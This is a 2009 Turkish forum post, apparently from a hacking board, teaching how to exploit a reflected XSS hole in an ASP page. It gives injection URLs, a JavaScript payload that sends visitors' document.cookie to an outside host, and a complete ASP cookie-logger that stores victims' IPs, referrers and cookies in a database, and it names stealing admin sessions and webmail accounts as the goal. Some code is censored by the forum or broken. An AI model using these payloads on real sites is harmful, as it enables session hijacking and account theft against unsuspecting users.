İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

XSS açığı ve kullanımı

05-06-2009 10:39
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
Netscape Communications Corporation, tarayıcılarında JS scriptlerini çalıştırabildiğni duyurduğunda, client ile server arasındaki bağlantı dolayısıyla i=new koduyla kullanıcının Çerez bilgilerinin çalınması sözkonusu oldu.

XSS nin Rfi ile çok küçük bir benzerliği var. Rfi Php scriptlerinde olur ve orda text dosyasındaki kodlar server da php olarak algılanır ve php olarak çalışır. Xss açığı ise açığın olduğu scriptte ister resim ister *.js ister iframe ne olursa olsun include edilebiliyor.

Size örnek bir Xss açığından bahsedeyim.

Active Server Page dilinde yazılmiş bir scripti ele alıyorum.

<%
X = Request.QueryString("id")
response.write X
%>

Görmüş olduðunuz örnek kodda QueryString Sayfaya yazdırılıyor.
Eğer URL kısmında ; http://site.com/ornek.asp?id=XSS yazıyorsa sayfanın herhangi biryerinde XSS yazar.
Bunun yerine;

1)Yazıyı renklendirebiliriz = http://site.com/ornek.asp?id=<font color=red>XSS</font>
2)Resim görüntüleyebilirz = http://site.com/ornek.asp?id=<img src= "http://site2.com/x.jpg">3)Ve güvenlik açığının oluştuğu,Microsoft’un başına dert olan ve milyonlarca Hotmail Hesabının hacklenmesine sebep olan JS kodu yani uzaktan script çalıştırılması.;

http://site.com/ornek.asp?id=******** src= "http://site3">
Şimdi biz x.js yi include ettik ama bu x.js nin içeriği ne olursa sisteme zarar verir ne olmazsa zarar vermez şimdi buna bakalım..

Eðer x.js nin içeriği

********.write(’XSS var’) ise sayfada sadece xss var yazar. Ama;

i=new/**/Image();i.Yasak Kelime#8217;http://site4.com/x.asp?X=’+********.cookie;

ise şu anda o url de gezinen kimsenin cookiesi x.asp nin X stringine kaydedilir.
şimdi x.asp nin içeriğine bakalım...

<%
Query = Request.QueryString("X")’ Degiskenler tanimlaniyor
If Query = "" Then ’Eger X=bos ise X degiskeni cookie yi alsın yani X=ASPSESSION seklinde karışık değerler..
%>

******** language="JavaScript" type="text/JavaScript">
var mxURL = "?X=" + ********.cookie;
window.******** = mxURL;
</script>


<%
end if
%>

<%
veri=request.querystring
veri2=right(veri,len(veri,-2)
adres = Request.ServerVariables("HTTP_REFERER")
Set conn = Server.CreateObject("adodb.connection") ’Burada veritabanı bağlantısı
conn.open "Provider=Microsoft.Jet.Oledb.4.0;Data Source="& Server.MapPath("sniffer.mdb")

set rs = Server.CreateObject("adodb.recordset")
SQL="Select * from sniffer"
rs.open SQL,conn,1,3

rs.addnew
rs("ip") = Request.ServerVariables("REMOTE_ADDR") ’IP veritabanına kaydediliyor
rs("adres") = adres ’Çerezin nerden geldiği kaydediliyor
rs("cookie") = veri2 ’Çerez kaydediliyor
rs("tarih") = now ’Burda tarih kaydediliyor çerezlerin karışmaması için
rs.update

rs.close
set rs = nothing
conn.close
set conn = nothing
%>

Burada cookie veritabanına kaydedildi.Şimdi isterseniz bu çerezlere server üzerinden bir fso ile takip edersiniz ister bunları döngüleyecek bir script yazarsınız.Orası size kalmış..
Küçük bir açıklama daha yapacağım;
*Cookielerin çalınmasının amacı sitenin adminlerine yöneliktir çünkü onun giriş yaptığı oturum en yetkili olandır.Normal bir userle siteye zarar veremezsiniz.
*Çerez hırsızlıgının bir başka kullanım alanı ise Mail Sistemlerindeki Cross Site Scripting açıklarının kullanımıdır.Burda hangi oturumun çerezini çalarsanız o kullanıcının mail adresine giriş yapabilirsiniz.
Selametle..
İnşAllah faydalı olabilmişimdir
Kullanıcı İmzası


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı